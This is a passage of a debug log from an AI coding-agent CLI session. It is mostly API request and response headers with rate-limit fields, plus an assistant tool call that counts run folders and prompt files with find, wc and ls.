\"1790679600\",\n[2026-09-29T07:47:19.569Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.577Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:19.585Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:19.588Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:19.591Z] [STDOUT]     \"cf-ray\": \"a42961095c18dbb5-FRA\",\n[2026-09-29T07:47:19.596Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:19.601Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:19.603Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:19.608Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:19.612Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:19 GMT\",\n[2026-09-29T07:47:19.614Z] [STDOUT]     \"request-id\": \"req_011CfXMu9XitxvPrAXVRVYJ1\",\n[2026-09-29T07:47:19.626Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:19.632Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:19.636Z] [STDOUT]     traceresponse: \"00-169c438d271995ec7c27e263568e1144-fd5cd3929116cc63-01\",\n[2026-09-29T07:47:19.640Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:19.651Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:19.657Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:19.661Z] [STDOUT]   },\n[2026-09-29T07:47:19.664Z] [STDOUT]   durationMs: 823,\n[2026-09-29T07:47:19.668Z] [STDOUT] }\n[2026-09-29T07:47:19.672Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:19.676Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:19 GMT\",\n[2026-09-29T07:47:19.684Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:19.687Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:19.690Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:19.693Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:19.698Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:19.701Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:19.704Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:19.707Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:19.710Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:19.717Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:19.723Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:19.728Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:19.732Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:19.737Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:19.743Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:19.746Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.749Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:19.754Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:19.758Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:19.764Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:19.768Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:19.771Z] [STDOUT]   \"request-id\": \"req_011CfXMu9XitxvPrAXVRVYJ1\",\n[2026-09-29T07:47:19.774Z] [STDOUT]   \"traceresponse\": \"00-169c438d271995ec7c27e263568e1144-fd5cd3929116cc63-01\",\n[2026-09-29T07:47:19.778Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:19.783Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:19.792Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:19.799Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:19.803Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:19.806Z] [STDOUT]   \"cf-ray\": \"a42961095c18dbb5-FRA\",\n[2026-09-29T07:47:19.811Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:19.816Z] [STDOUT] [log_65078e] response parsed {\n[2026-09-29T07:47:19.819Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:19.825Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:19.828Z] [STDOUT]   body: X {\n[2026-09-29T07:47:19.834Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:19.838Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:19.842Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:19.845Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:19.848Z] [STDOUT]     },\n[2026-09-29T07:47:19.852Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:19.855Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:19.857Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:19.860Z] [STDOUT]   },\n[2026-09-29T07:47:19.865Z] [STDOUT]   durationMs: 846,\n[2026-09-29T07:47:19.870Z] [STDOUT] }\n[2026-09-29T07:47:20.426Z] [INFO] {\n[2026-09-29T07:47:20.426Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"message\": {\n[2026-09-29T07:47:20.426Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"id\": \"msg_011CfXMuA11QgJVeVJtvQxew\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:20.426Z] [INFO]     \"content\": [\n[2026-09-29T07:47:20.426Z] [INFO]       {\n[2026-09-29T07:47:20.426Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:20.426Z] [INFO]         \"id\": \"toolu_01WZyQAmCHCcnrBKqfDfxaaa\",\n[2026-09-29T07:47:20.426Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:20.426Z] [INFO]         \"input\": {\n[2026-09-29T07:47:20.426Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && find runs -maxdepth 3 | head -20; find runs -type d -name 'RUN-*' | wc -l; find prompts -name '*.md' | wc -l; ls prompts\",\n[2026-09-29T07:47:20.426Z] [INFO]           \"description\": \"Count runs and prompts\"\n[2026-09-29T07:47:20.426Z] [INFO]         },\n[2026-09-29T07:47:20.426Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:20.426Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:20.426Z] [INFO]         }\n[2026-09-29T07:47:20.426Z] [INFO]       }\n[2026-09-29T07:47:20.426Z] [INFO]     ],\n[2026-09-29T07:47:20.426Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:20.426Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:20.426Z] [INFO]       \"cache_creation_input_tokens\": 757,\n[2026-09-29T07:47:20.426Z] [INFO]       \"cache_read_input_tokens\": 50332,\n[2026-09-29T07:47:20.426Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:20.426Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:20.426Z] [INFO]         \"ephemeral_1h_input_tokens\": 757\n[2026-09-29T07:47:20.426Z] [INFO]       },\n[2026-09-29T07:47:20.426Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:47:20.426Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:20.426Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:20.426Z] [INFO]     },\n[2026-09-29T07:47:20.426Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:20.426Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:20.426Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:20.426Z] [INFO]   },\n[2026-09-29T07:47:20.426Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:20.426Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"uuid\": \"77a96f98-9647-48fc-89ad-6a8f4470211f\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:20.416Z\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"request_id\": \"req_011CfXMu9XitxvPrAXVRVYJ1\",\n[2026-09-29T07:47:20.426Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:20.426Z] [INFO]     \"toolu_01WZyQAmCHCcnrBKqfDfxaaa\": {\n[2026-09-29T07:47:20.426Z] [INFO]       \"command\": \"cd /tmp/mango_ba_prompts && find runs -maxdepth 3 | head -20; find runs -type d -name 'RUN-*' | wc -l; find prompts -name '*.md' | wc -l; ls prompts\",\n[2026-09-29T07:47:20.426Z] [INFO]       \"description\": \"Count runs and prompts\"\n[2026-09-29T07:47:20.426Z] [INFO]     }\n[2026-09-29T07:47:20.426Z] [INFO]   }\n[2026-09-29T07:47:20.426Z] [INFO] }\n[2026-09-29T07:47:21.965Z] [INFO] {\n[2026-09-29T07:47:21.965Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:21.965Z] [INFO]   \"message\": {\n[2026-09-29T07:47:21.965Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:21.965Z] [INFO]     \"content\": [\n[2026-09-29T07:47:21.965Z] [INFO]       {\n[2026-09-29T07:47:21.965Z] [INFO]         \"tool_use_id\": \"toolu_01WZyQAmCHCcnrBKqfDfxaaa\",\n[2026-09-29T07:47:21.965Z] [INFO]         \"type\": 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[INFO]     \"stderr\": \"\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:47:21.965Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:21.965Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:21.965Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:21.965Z] [INFO]   }\n[2026-09-29T07:47:21.965Z] [INFO] }\n[2026-09-29T07:47:22.005Z] [STDOUT] [log_481b77] sending request {\n[2026-09-29T07:47:22.012Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:22.022Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:22.030Z] [STDOUT]   options: {\n[2026-09-29T07:47:22.039Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:22.042Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:22.045Z] [STDOUT]     body: {\n[2026-09-29T07:47:22.062Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:22.067Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:22.072Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:22.081Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:22.088Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:22.094Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:22.100Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:22.104Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:22.107Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:22.111Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:22.115Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:22.121Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:22.130Z] [STDOUT]     },\n[2026-09-29T07:47:22.133Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:22.138Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:22.142Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:22.145Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:22.148Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:22.150Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:22.155Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:22.160Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:22.164Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:22.168Z] [STDOUT]     },\n[2026-09-29T07:47:22.172Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:22.178Z] [STDOUT]   },\n[2026-09-29T07:47:22.183Z] [STDOUT]   headers: {\n[2026-09-29T07:47:22.187Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:22.192Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:22.197Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:22.203Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:22.206Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:22.210Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:22.223Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:22.230Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:22.233Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:22.236Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1479\",\n[2026-09-29T07:47:22.240Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:22.243Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:22.246Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:22.256Z] [STDOUT]     \"x-client-request-id\": \"a0cafc8e-6746-4631-b196-dc9e3748b55a\",\n[2026-09-29T07:47:22.262Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:22.265Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:22.272Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:22.275Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:22.278Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:22.281Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:22.284Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:22.286Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:22.289Z] [STDOUT]   },\n[2026-09-29T07:47:22.292Z] [STDOUT] }\n[2026-09-29T07:47:22.792Z] [STDOUT] [log_481b77, request-id: \"req_011CfXMuQ4MCHkVjBmB3GgVa\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 786ms\n[2026-09-29T07:47:22.801Z] [STDOUT] [log_481b77] response start {\n[2026-09-29T07:47:22.812Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:22.817Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:22.837Z] [STDOUT]   headers: {\n[2026-09-29T07:47:22.847Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:22.851Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:22.858Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:22.862Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:22.866Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:22.870Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:22.872Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:22.876Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:22.881Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:22.885Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:22.890Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:22.892Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:22.897Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:22.903Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:22.906Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:22.909Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:22.914Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:22.926Z] [STDOUT]     \"cf-ray\": \"a429611e89dadbb5-FRA\",\n[2026-09-29T07:47:22.931Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:22.933Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:22.940Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:22.946Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:22.951Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:22 GMT\",\n[2026-09-29T07:47:22.957Z] [STDOUT]     \"request-id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\",\n[2026-09-29T07:47:22.962Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:22.967Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:22.972Z] [STDOUT]     traceresponse: \"00-99fcc125aa5b07a8a649b67a8b59ff1c-83760949f589bb9a-01\",\n[2026-09-29T07:47:22.976Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:22.978Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:22.980Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:22.983Z] [STDOUT]   },\n[2026-09-29T07:47:22.985Z] [STDOUT]   durationMs: 786,\n[2026-09-29T07:47:22.988Z] [STDOUT] }\n[2026-09-29T07:47:22.995Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:22.998Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:22 GMT\",\n[2026-09-29T07:47:23.002Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:23.009Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:23.013Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:23.017Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:23.023Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:23.026Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:23.029Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:23.031Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:23.035Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:23.048Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:23.059Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:23.064Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:23.068Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:23.073Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:23.076Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:23.080Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:23.083Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:23.088Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:23.092Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:23.098Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:23.105Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:23.107Z] [STDOUT]   \"request-id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\",\n[2026-09-29T07:47:23.110Z] [STDOUT]   \"traceresponse\": \"00-99fcc125aa5b07a8a649b67a8b59ff1c-83760949f589bb9a-01\",\n[2026-09-29T07:47:23.113Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:23.121Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:23.126Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:23.131Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:23.134Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:23.138Z] [STDOUT]   \"cf-ray\": \"a429611e89dadbb5-FRA\",\n[2026-09-29T07:47:23.143Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:23.146Z] [STDOUT] [log_481b77] response parsed {\n[2026-09-29T07:47:23.151Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:23.156Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:23.159Z] [STDOUT]   body: X {\n[2026-09-29T07:47:23.161Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:23.166Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:23.169Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:23.173Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:23.181Z] [STDOUT]     },\n[2026-09-29T07:47:23.186Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:23.191Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:23.193Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:23.197Z] [STDOUT]   },\n[2026-09-29T07:47:23.203Z] [STDOUT]   durationMs: 788,\n[2026-09-29T07:47:23.206Z] [STDOUT] }\n[2026-09-29T07:47:23.685Z] [INFO] {\n[2026-09-29T07:47:23.685Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"message\": {\n[2026-09-29T07:47:23.685Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"id\": \"msg_011CfXMuQV9aNJEsuSnw5Bx9\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:23.685Z] [INFO]     \"content\": [\n[2026-09-29T07:47:23.685Z] [INFO]       {\n[2026-09-29T07:47:23.685Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:23.685Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:23.685Z] [INFO]         \"signature\": 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null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:23.685Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:23.685Z] [INFO]       \"cache_creation_input_tokens\": 929,\n[2026-09-29T07:47:23.685Z] [INFO]       \"cache_read_input_tokens\": 51089,\n[2026-09-29T07:47:23.685Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:23.685Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:23.685Z] [INFO]         \"ephemeral_1h_input_tokens\": 929\n[2026-09-29T07:47:23.685Z] [INFO]       },\n[2026-09-29T07:47:23.685Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:47:23.685Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:23.685Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:23.685Z] [INFO]     },\n[2026-09-29T07:47:23.685Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:23.685Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:23.685Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:23.685Z] [INFO]   },\n[2026-09-29T07:47:23.685Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:23.685Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"uuid\": \"0e198ab0-e917-40e2-8c26-ba98018aea26\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:23.680Z\",\n[2026-09-29T07:47:23.685Z] [INFO]   \"request_id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\"\n[2026-09-29T07:47:23.685Z] [INFO] }\n[2026-09-29T07:47:24.561Z] [INFO] {\n[2026-09-29T07:47:24.561Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"message\": {\n[2026-09-29T07:47:24.561Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:24.561Z] [INFO]     \"id\": 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{\n[2026-09-29T07:47:24.561Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:24.561Z] [INFO]         }\n[2026-09-29T07:47:24.561Z] [INFO]       }\n[2026-09-29T07:47:24.561Z] [INFO]     